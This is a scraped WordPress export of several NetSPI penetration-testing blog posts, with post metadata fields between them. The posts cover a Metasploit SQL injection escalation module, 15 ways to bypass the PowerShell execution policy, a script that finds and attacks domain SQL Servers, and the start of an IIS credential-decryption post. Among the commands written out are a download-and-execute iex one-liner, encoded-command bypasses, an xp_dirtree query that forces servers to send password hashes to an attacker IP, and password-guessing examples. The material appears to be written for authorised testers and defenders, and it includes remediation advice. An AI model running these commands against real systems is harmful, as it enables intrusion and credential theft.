During external network penetration tests we don’t see a ton of SQL Servers open to the internet, but we do find a lot of SQL  injection.  That’s why I wrote this module.  Once again,  Juan Vazquez and Joshua Smith helped me get this module into Metasploit Framework – thanks guys.

Below are the basic usage steps.

1. Type “msfupdate” in your Kali biuld toto get the latest updates from Rapid7.

2. Run “msfconsole” in a terminal window.

3. Select and configure the module, but make sure to replace everything with your target’s info.

use auxiliary/admin/mssql/mssql_esclate_dbowner_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--

4. Run show options to make sure everything looks right.

5. If everything looks good run it.

6. Now you can use other modules like “mssql_payload_sqli”, or techniques like PowerShell reflection to get your shells.

Options for Fixing the Issue

Microsoft has some pretty good recommendations to help prevent this type of attack so I recommend checking out their web site for more information.  Naturally, the fixes will vary depending on the environment, application, and use cases, but below are a few options to get you started.

Check for databases that are set as TRUSTWORTHY and are owned by a sysadmin.

SELECT SUSER_SNAME(owner_sid) AS DBOWNER, d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'

If it’s possible, set TRUSTWORTHY to off for the affected databases (excluding MSDB).  This will help prevent the execution of xp_cmdshell and other bad things from within stored procedures.  It will also enforce a sandbox that only allows the stored procedure to access information associated with its own database.

ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF

Also, consider making the owner of the application database a user that is not a sysadmin.  There are alternatives to flagging databases as trustworthy if your application needs to access objects from external databases, CLR stored procedures etc.  Other common options include:

  • Enabling “cross db ownership chain”, but that comes with it’s own risks.  More information can be found at http://msdn.microsoft.com/en-us/library/ms188694.aspx.
  • Assigning application groups with the required privileges on external objects, but that can be a bit of a management pain.
  • Using certificate accounts and certificates to sign stored procedures that require access to external objects.  From what I've seen so far this seems like the best option, but you can check it out for yourself on Microsoft’s page at http://msdn.microsoft.com/en-us/library/bb283630.aspx.

Wrap Up

The issue covered in this blog/lab was intended to help pentesters, developers, and dev-ops understand how a few common misconfigurations can lead to the compromise of an entire SQL Server instance.  The attacks can be conducted through direct database connections, but are most likely to be done via SQL injection through web, desktop, and mobile applications.  Hopefully the information is useful.  Have fun and hack responsibly.

References

[post_title] => Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases [post_excerpt] => In this blog I’ll show how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => hacking-sql-server-stored-procedures-part-1-untrustworthy-databases [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:58:36 [post_modified_gmt] => 2021-06-08 21:58:36 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1812 [menu_order] => 325 [post_type] => post [post_mime_type] => [comment_count] => 1 [filter] => raw ) [36] => WP_Post Object ( [ID] => 1107 [post_author] => 17 [post_date] => 2014-09-09 07:00:32 [post_date_gmt] => 2014-09-09 07:00:32 [post_content] =>

By default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. This can be a hurdle for penetration testers, sysadmins, and developers, but it doesn't have to be. In this blog I'll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on the system. I'm sure there are many techniques that I've missed (or simply don't know about), but hopefully this cheat sheet will offer a good start for those who need it.

What is the PowerShell Execution Policy?

The PowerShell execution policy is the setting that determines which type of PowerShell scripts (if any) can be run on the system. By default it is set to "Restricted", which basically means none. However, it's important to understand that the setting was never meant to be a security control. Instead, it was intended to prevent administrators from shooting themselves in the foot. That's why there are so many options for working around it. Including a few that Microsoft has provided. For more information on the execution policy settings and other default security controls in PowerShell I suggest reading Carlos Perez's blog. He provides a nice overview.

Why Would I Want to Bypass the Execution Policy?

Automation seems to be one of the more common responses I hear from people, but below are a few other reasons PowerShell has become so popular with administrators, pentesters, and hackers. PowerShell is:

  • Native to Windows
  • Able to call the Windows API
  • Able to run commands without writing to the disk
  • Able to avoid detection by Anti-virus
  • Already flagged as "trusted" by most application white list solutions
  • A medium used to write many open source Pentest toolkits

How to View the Execution Policy

Before being able to use all of the wonderful features PowerShell has to offer, attackers may have to bypass the "Restricted" execution policy. You can take a look at the current configuration with the "Get-ExectionPolicy" PowerShell command. If you're looking at the setting for the first time it's likely set to "Restricted" as shown below.

PS C:> Get-ExecutionPolicy
Powershell Bypass

It's also worth noting that the execution policy can be set at different levels on the system. To view a list of them use the command below. For more information you can check out Microsoft's "Set-ExecutionPolicy" page here.

Get-ExecutionPolicy -List | Format-Table -AutoSize
Powershell Bypass

Lab Setup Notes

In the examples below I will use a script named runme.ps1 that contains the following PowerShell command to write a message to the console:

Write-Host "My voice is my passport, verify me."

When I attempt to execute it on a system configured with the default execution policy I get the following error: Powershell Bypass

If your current policy is too open and you want to make it more restrictive to test the techniques below, then run the command "Set-ExecutionPolicy Restricted" from an administrator PowerShell console. Ok - enough of my babbling - below are 15 ways to bypass the PowerShell execution policy restrictions.

Bypassing the PowerShell Execution Policy

1. Paste the Script into an Interactive PowerShell Console

Copy and paste your PowerShell script into an interactive console as shown below. However, keep in mind that you will be limited by your current user's privileges. This is the most basic example and can be handy for running quick scripts when you have an interactive console. Also, this technique does not result in a configuration change or require writing to disk.

Powershell Bypass

2. Echo the Script and Pipe it to PowerShell Standard In

Simply ECHO your script into PowerShell standard input. This technique does not result in a configuration change or require writing to disk.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
Powershell Bypass

3. Read Script from a File and Pipe to PowerShell Standard In

Use the Windows "type" command or PowerShell "Get-Content" command to read your script from the disk and pipe it into PowerShell standard input. This technique does not result in a configuration change, but does require writing your script to disk. However, you could read it from a network share if you're trying to avoid writing to the disk.

Example 1: Get-Content PowerShell command

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Powershell Bypass

Example 2: Type command

TYPE .runme.ps1 | PowerShell.exe -noprofile -
Powershell Bypass

4. Download Script from URL and Execute with Invoke Expression

This technique can be used to download a PowerShell script from the internet and execute it without having to write to disk. It also doesn't result in any configuration changes. I have seen it used in many creative ways, but most recently saw it being referenced in a nice PowerSploit blog by Matt Graeber.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
Powershell Bypass

5. Use the Command Switch

This technique is very similar to executing a script via copy and paste, but it can be done without the interactive console. It's nice for simple script execution, but more complex scripts usually end up with parsing errors. This technique does not result in a configuration change or require writing to disk.

Example 1: Full command

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Powershell Bypass

Example 2: Short command

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

It may also be worth noting that you can place these types of PowerShell commands into batch files and place them into autorun locations (like the all users startup folder) to help during privilege escalation.

6. Use the EncodeCommand Switch

This is very similar to the "Command" switch, but all scripts are provided as a Unicode/base64 encoded string. Encoding your script in this way helps to avoid all those nasty parsing errors that you run into when using the "Command" switch. This technique does not result in a configuration change or require writing to disk. The sample below was taken from Posh-SecMod. The same toolkit includes a nice little compression method for reducing the size of the encoded commands if they start getting too long.

Example 1: Full command

$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Powershell Bypass

Example 2: Short command using encoded string

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7. Use the Invoke-Command Command

This is a fun option that I came across on the Obscuresec blog. It’s typically executed through an interactive PowerShell console or one liner using the “Command” switch, but the cool thing is that it can be used to execute commands against remote systems where PowerShell remoting has been enabled. This technique does not result in a configuration change or require writing to disk.

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
Powershell Bypass

Based on the Obscuresec blog, the command below can also be used to grab the execution policy from a remote computer and apply it to the local computer.

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8. Use the Invoke-Expression Command

This is another one that's typically executed through an interactive PowerShell console or one liner using the "Command" switch. This technique does not result in a configuration change or require writing to disk. Below I've listed are a few common ways to use Invoke-Expression to bypass the execution policy.

Example 1: Full command using Get-Content

Get-Content .runme.ps1 | Invoke-Expression
Powershell Bypass

Example 2: Short command using Get-Content

GC .runme.ps1 | iex

9. Use the "Bypass" Execution Policy Flag

This is a nice flag added by Microsoft that will bypass the execution policy when you're executing scripts from a file. When this flag is used Microsoft states that "Nothing is blocked and there are no warnings or prompts". This technique does not result in a configuration change or require writing to disk.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
Powershell Bypass

10. Use the "Unrestricted" Execution Policy Flag

This similar to the "Bypass" flag. However, when this flag is used Microsoft states that it "Loads all configuration files and runs all scripts. If you run an unsigned script that was downloaded from the Internet, you are prompted for permission before it runs." This technique does not result in a configuration change or require writing to disk.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
Powershell Bypass

11. Use the "Remote-Signed" Execution Policy Flag

Create your script then follow the tutorial written by Carlos Perez to sign it. Finally,run it using the command below:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. Disable ExecutionPolicy by Swapping out the AuthorizationManager

This is really creative one I came across on http://www.nivot.org. The function below can be executed via an interactive PowerShell console or by using the "command" switch. Once the function is called it will swap out the "AuthorizationManager" with null. As a result, the execution policy is essentially set to unrestricted for the remainder of the session. This technique does not result in a persistant configuration change or require writing to disk. However, it the change will be applied for the duration of the session.

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}  Disable-ExecutionPolicy  .runme.ps1
Powershell Bypass

13. Set the ExcutionPolicy for the Process Scope

As we saw in the introduction, the execution policy can be applied at many levels. This includes the process which you have control over. Using this technique the execution policy can be set to unrestricted for the duration of your Session. Also, it does not result in a configuration change, or require writing to the disk. I originally found this technique on the r007break blog.

Set-ExecutionPolicy Bypass -Scope Process
Powershell Bypass

14. Set the ExcutionPolicy for the CurrentUser Scope via Command

This option is similar to the process scope, but applies the setting to the current user's environment persistently by modifying a registry key. Also, it does not result in a configuration change, or require writing to the disk. I originally found this technique on the r007break blog.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Powershell Bypass

15. Set the ExcutionPolicy for the CurrentUser Scope via the Registry

In this example I've shown how to change the execution policy for the current user's environment persistently by modifying a registry key directly.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell
Powershell Bypass

Wrap Up Summary

I think the theme here is that the execution policy doesn't have to be a hurdle for developers, admins, or pentesters. Microsoft never intended it to be a security control. Which is why there are so many options for bypassing it. Microsoft was nice enough to provide some native options and the security community has also come up with some really fun tricks. Thanks to all of those people who have contributed through blogs and presentations. To the rest, good luck in all your PowerShell adventures and don't forget to hack responsibly. ;)

References

[post_title] => 15 Ways to Bypass the PowerShell Execution Policy [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => 15-ways-to-bypass-the-powershell-execution-policy [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:48:27 [post_modified_gmt] => 2021-06-08 21:48:27 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1107 [menu_order] => 329 [post_type] => post [post_mime_type] => [comment_count] => 23 [filter] => raw ) [37] => WP_Post Object ( [ID] => 1118 [post_author] => 17 [post_date] => 2014-05-28 07:00:40 [post_date_gmt] => 2014-05-28 07:00:40 [post_content] =>

In this blog I'll share a new PowerShell script that uses Service Principal Name (SPN) records from Active Directory to identify and attack SQL Servers on Windows domains without having to perform discovery scanning. I originally wrote this script to help escalate privileges and locate critical data during penetration tests. However, below I’ve tried to show how it can be useful to both attackers and defenders.

Introduction to Scanless SQL Server Discovery

Using a variety of scanning techniques to locate SQL Servers can be very useful when you have no credentials or are hunting for SQL Servers that are not on the domain.  However, the process can be noisy, time consuming, and may miss servers due to unknown subnets, the use of non-standard ports, and broadcast domain limitations. When I came across Service Principal Names (SPN) in Active Directory I knew I'd found a shortcut for quickly locating SQL Servers on the domain.

Microsoft's documentation states, "A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service." What that means is every service installed on a Windows domain system is registered in Active Directory. That includes SQL Server Services. As a result, any domain user can query Active Directory Services (ADS) for a full list of the SQL Servers installed on the domain without having to perform discovery scanning. Additionally, the SPNs include the correct instance names and ports which saves you the trouble of having to probe for them yourself. For more information on SPNs I wrote a blog that goes into more detail here: Faster Domain Escalation Using LDAP.

Knowing that SPN information is available in Active Directory was great, but I quickly realized I would need a more automated solution for penetration testing.

Automating with the Get-SQLServerAccess PowerShell Module

After playing around for a while in the lab I thought it would be nice to have a script that could automagically pull down a list of SQL Servers from ADS via LDAP and test what access the current domain user has to each of them. Once again I turned to PowerShell to help with the automation, because it natively supports everything I needed. For example, the standard PowerShell v.3 installation includes support for LDAP queries, SQL Server queries, IP resolution, ICMP requests, and tons of data structures out of the box. No additional libraries, cmdlets, or modules required.

After a little tinkering (and re-tinkering) I patched together a PowerShell module called "Get-SqlServer-Escalate-CheckAccess.psm1". I've tried to add enough options to make it useful to defenders trying to identify excessive privileges quickly, and attackers trying to find soft spots that can be used for domain escalation. It's also handy for simply locating data stores. Below I've tried to break out some of the functionality into defender and attacker use cases.

I wrote /Get-SqlServer-Escalate-CheckAccess as a PowerShell module so for those who are not familiar I’ll cover the installation first.

Installing the /Get-SqlServer-Escalate-CheckAccess Module

The script can be downloaded from my github account here. At some point I will also submit it to the Posh-SecMod project. Regardless, please note that it does require PowerShell v3. The module can be installed manually by downloading the Get-SqlServer-Escalate-CheckAccess.psm1 file to one of two locations:

%USERPROFILE%DocumentsWindowsPowerShellModulesGet-SqlServer-Escalate-CheckAccess.psm1
%WINDIR%System32WindowsPowerShellv1.0ModulesGet-SqlServer-Escalate-CheckAccess.psm1 

Or you can import it using the following command:

Import-Module c:tempGet-SqlServer-Escalate-CheckAccess.psm1 

You can confirm that the module has been imported successfully with the command below (or just run it).

Get-Command Get-SqlServer-Escalate-CheckAccess

Defender Use Cases

Database administrators often provide all domain users with privileges to log into SQL Servers because they are unsure which domain groups actually need access. Additionally, older versions of SQL Server allow domain users to login by default due to a privilege inheritance issue that I covered in a previous blog here. These misconfigurations provide domain users with the means to gain unauthorized access to data and systems. As a defender it's nice to be able to quickly identify these misconfigurations so they can be easily queued up and fixed.

The default output of the Get-SqlServer-Escalate-CheckAccess script tries to do that by showing which SQL Servers on the domain allow the current domain user to login. Additionally, the output will show the SQL Server instance names, if the user has sysadmin access to the SQL Server, and if the account used to run the SQL Server service is a Domain Admin. Below are a few examples that I think would be handy for defenders.

1. Obtain a list of SQL Servers from ADS via a LDAP query and attempt to login into each SQL Server instance as the current domain user. This is the default output.

PS C:Get-SqlServer-Escalate-CheckAccess 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed 
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No  
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes              
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

2. Obtain a list of SQL Servers from ADS via a LDAP query and attempt to login into each SQL Server instance as the current domain user. This example will also output all results to a CSV file.

PS C:Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed 
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No  
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes              
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       [*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

Below is a sample screenshot of the output: Ss Attack Sql

The examples above show the results from my lab, but in real environments I typically see hundreds of servers. Just for fun I also recommend running this script as a domain computer account. That can be done my obtaining a LocalSystem shell with “psexec.exe –s –i cmd.exe “, and running the script as shown above. I think you'll be surprised how many SQL Servers domain computer accounts have access to. I know I was. Anyways, onto the attack examples…

Attacker Use Cases

There are tons common attacks against SQL Servers. Below I’ve provided examples that show how to execute five of them with help from this script.

1. Guessing weak passwords is still an effective attack technique. We usually find at least a handful of SQL Servers configured with weak passwords in every client environment. Common logins include sa, test, dba, user, and sysadmin. Common passwords include: [the username], [the company], password, Password1, and SQL. There are lots of password guessing tools for databases out there, but just for fun I added the option to provide a custom SQL login for authenticating to the SQL Server instances found in ADS. Below is an example. Note: This switch can also be handy for finding SQL Server logins used on multiple servers.

PS C:Get-SqlServer-Escalate-CheckAccess -sqluser test -sqlpass test 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as test... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed 
[+] Failed   - server3.mydomain.com,1433 (192.168.1.103) is up, but authentication failed 
[+] Failed   - server3.mydomain.comSQLEXPRESS (192.168.1.103) is up, but authentication failed 
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: No - SvcIsDA: Yes              
[*] ---------------------------------------------------------------------- 
[*] 1 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

2. Finding sensitive data is always important for a number of reasons. Using the custom “-query” switch it is possible to query each accessible SQL Server instance for the information you’re looking for. Below is a basic example that shows how to list databases that the user can access on each server.

PS C:Get-SqlServer-Escalate-CheckAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1" 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as test... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication failed 
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103)-Sysadmin:No - SvcIsDA:No  
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 
[+] Query output:   
      
Databases 
---------                                                           
master 
tempdb 
msdb 
                 
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS(192.168.1.103)-Sysadmin:No-SvcIsDA:No 
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 
[+] Query output:                                                                   
Databases 
---------                                                           
master 
tempdb 
msdb 
                 
[+] SUCCESS! - server4.mydomain.comAppData(192.168.1.104)-Sysadmin: Yes-SvcIsDA: Yes        
[+] Query sent: select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1 
[+] Query output:  
Databases 
---------    
master 
tempdb 
msdb 
PCIDataDB 
ApplicationDB 
CompanySecrects
                                     
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

3. Capturing and cracking service account password hashes is also still a very effective attack used during pentests to obtain access to SQL Server service accounts. In many cases the service account has database admin privileges to all of the SQL Servers in the environment, and occasionally the accounts also have Domain Admins privileges. I’ve already written a blog on capturing and relaying SQL Server service account password hashes here. However, I have provided a quick command example showing how to force the accessible SQL Servers to authenticate to an attacker at 192.168.1.50 using the custom “-query” switch.

PS C:Get-SqlServer-Escalate-CheckAccess -query "exec master..xp_dirtree '192.168.1.50file'" 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[-] Failed   - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed 
[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No  
[+] Custom query sent: exec master..xp_dirtree '192.168.1.50file' 
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] Custom query sent: exec master..xp_dirtree '192.168.1.50file' [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes              
[+] Custom query sent: exec master..xp_dirtree '192.168.1.50file' 
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

There is a great tool called Responder that can be used for capturing password hashes being sent from each of the SQL Servers. It can be downloaded from github here. Finally, the hashes can be cracked with a tool like OCLHashcat.

4. Targeting shared SQL Server service accounts in order to perform SMB relay attacks almost always works. The tricky part can be figuring out which SQL Servers are configured to use the same service account. To help with that problem, I’ve added a few switches to the script that will capture and display the service accounts from all accessible servers. Those switches include “-showsum” and “-showstatus”. The service accounts can also be outputted to a csv file. Once they have been identified, the techniques outlined in my previous blog (found here) can be used to take over the SQL Servers at the operating system level. Below is a basic example showing how to identify SQL Servers using a shared service account:

PS C:Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No  
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes             
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

In this example you can see that three of the servers are using a shared domain services account. Ss Attack Sql

5. Crawling database links in order to execute queries with sysadmin privileges is a technique we leverage in almost every environment. Antti Rantasaari provided a nice overview of database links in his blog "How to Hack Database Links in SQL Server". We also wrote a Metasploit module for attacking them a while back that can found here. Although you can enumerate database links blindly I thought it would be handy to grab a count of links from each accessible SQL Server with the script. You can display them by using the “-showsum” and “-showstatus” switches. Similar to the last example the results can also be export to CSV and easily viewed. Below is one last example.

PS C:Get-SqlServer-Escalate-CheckAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv 
[*] ---------------------------------------------------------------------- 
[*] Start Time: 04/01/2014 10:00:00 
[*] Domain: mydomain.com 
[*] DC: dc1.mydomain.com 
[*] Getting list of SQL Server instances from DC as mydomainmyuser... 
[*] 5 SQL Server instances found in LDAP. 
[*] Attempting to login into 5 SQL Server instances as mydomainmyuser... 
[*] ---------------------------------------------------------------------- 
[-] Failed   - server1.mydomain.com is not responding to pings 
[+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No 
[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes              
[*] ---------------------------------------------------------------------- 
[*] 3 of 5 SQL Server instances could be accessed.         
[*] End Time: 04/01/2014 10:02:00       
[*] Total Time: 00:02:00 
[*] ----------------------------------------------------------------------

As you can see in the example two servers have database links that could potentially be exploited. Ss Attack Sql

Wrap Up

Download the script, use it to find holes, and plug the holes. Have fun and hack responsibly!

[post_title] => Locate and Attack Domain SQL Servers without Scanning [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => locate-and-attack-domain-sql-servers-without-scanning [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:48:58 [post_modified_gmt] => 2021-06-08 21:48:58 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1118 [menu_order] => 340 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [38] => WP_Post Object ( [ID] => 1119 [post_author] => 17 [post_date] => 2014-04-28 07:00:40 [post_date_gmt] => 2014-04-28 07:00:40 [post_content] =>

In my last blog I showed how to use native Windows tools to break out of DMZ networks by decrypting database connection strings in IIS web.config files, and using them to pivot through SQL Servers. If you're interested it can be found at Decrypting IIS Passwords to Break Out of the DMZ: Part 1. In this blog I'll cover how to decrypt application pool and virtual directory credentials stored in the IIS applicationHost.config file, and use them to pivot through services commonly available through the DMZ firewall. This should be interesting to administrators and penetration testers trying to gain a better understanding what the applicationHost.config does and its value to attackers.

Below is an outline of what will be covered:

IIS 7 Configuration Overview

Before we get started I would like to define some common components of modern IIS deployments. Full disclosure, I am not an IIS admin (I just play one in this blog). However, based on a little reading and experimenting it appears that IIS web applications are made up of many components including application pools, sites, applications, and virtual directories. Without a little guidance they can get pretty confusing to a newbie like me. So for your benefit and mine, below I've outlined the relationship between those pieces.

Application Pools

An IIS application pool is a grouping of sites and applications that run under an IIS worker process (w3wp.exe). The general idea is that the independent processes help to ensure stability and access control between sites running on the same server. Each application pool can be configured to run with separate credentials referred to as an "identity". By default each "identity" runs with a low-privileged account called "ApplicationPoolIdentity". However, any local or domain account can be used. When a custom identity is configured the credentials are stored encrypted in the applicationHost.config.

Sites

The site level is where IP and port combinations are defined. Essentially each site acts as a bucket for applications and virtual directories. All sites run under one application pool which can be dedicated or shared.

Site URL Example: http://www.mysite.com:80

Applications

An IIS "application" is essentially a mapping between a local/remote folder path and an URL path. It may be worth noting that each IIS application requires at least one virtual directory. Also, each IIS application can be run under its own application pool. I think the intent of the model is to allow admins to deploy multiple applications through the same root URL while still maintaining some isolation between apps. Regardless of intents, when credentials are configured to allow access to a local/ remote folder containing the applications files, the credentials are stored encrypted in the applicationHost.config.

Application URL Example: http://www.mysite.com:80/myapp/

Virtual Directories

Based on Microsoft's documentation a virtual directory is similar to an IIS "application" in that it is essentially a mapping between a local/remote folder path and an URL path. I think the major difference is that Virtual Directories don't get their own application pool. If you're reading this and know better please let me know. :) Just like applications, when credentials are configured to allow access to local / remote folders containing the applications files, the credentials are stored encrypted in the applicationHost.config. Virtual directories are also where web.config files are typically stored and applied. As I covered in my last blog, web.config files are usually where database connection strings can be found. Sometimes they're encrypted and sometimes they are not.

Virtual Directory URL Example: http://www.mysite.com:80/myapp/myvdir

Introduction to ApplicationHost.config

While web.config files are applied at the application/virtual directory level, the applicationHost.config file is applied at the server level and acts as the root XML configuration file for IIS 7 and above. Per Microsoft's description "It includes definitions of all sites, applications, virtual directories and application pools, as well as global defaults for the web server settings…". For the most part, if custom credentials are used at any of those levels they are stored encrypted in the applictionHost.config. This makes them easier to manage, but also makes them easier to grab during post exploitation activities. Since the applicationHost.config is the root config file for IIS, there should only be one on each server (unlike web.config). By default you should be able to find it at:

